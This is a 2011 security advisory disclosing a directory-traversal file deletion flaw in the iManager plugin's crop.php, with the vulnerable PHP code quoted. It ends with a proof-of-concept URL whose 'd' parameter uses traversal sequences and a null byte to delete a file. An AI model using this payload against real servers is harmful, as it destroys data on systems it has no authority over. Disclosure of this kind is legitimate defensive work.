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iManager Plugin v1.2.8 (d) Remote Arbitrary File Deletion Vulnerability Vendor: net4visions.com Product web page: http://www.net4visions.com Affected version: <= 1.2.8 Build 02012008 Summary: With iManager you can manage your files/images on your webserver, and it provides user interface to most of the phpThumb() functions. It works either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW, htmlAREA, Xinha and FCKeditor. Desc: Input passed to the 'd' parameter in /scripts/phpCrop/crop.php is not properly sanitised before being used to delete files. This can be exploited to delete files with the permissions of the web server via directory traversal sequences passed within the 'd' parameter. ====================================================================== /scripts/phpCrop/crop.php: ---------------------------------------------------------------------- 32: if( isset($_REQUEST['s']) ) { 33: //delete previous temp files 34: $matches = glob($d . '{*.jpg,*.JPG}', GLOB_BRACE); 35: if ( is_array ( $matches ) ) { 36:foreach ( $matches as $fn) { 37: @unlink($fn); 38:} 39: } ====================================================================== Tested on: Microsoft Windows XP Professional SP3 (EN) Apache 2.2.14 (Win32) PHP 5.3.1 MySQL 5.1.41 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic liquidworm gmail com Advisory ID: ZSL-2011-5043 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5043.php 15.09.2011 -- http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/phpCrop/crop.php?s=1&d=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftest.txt%00 |
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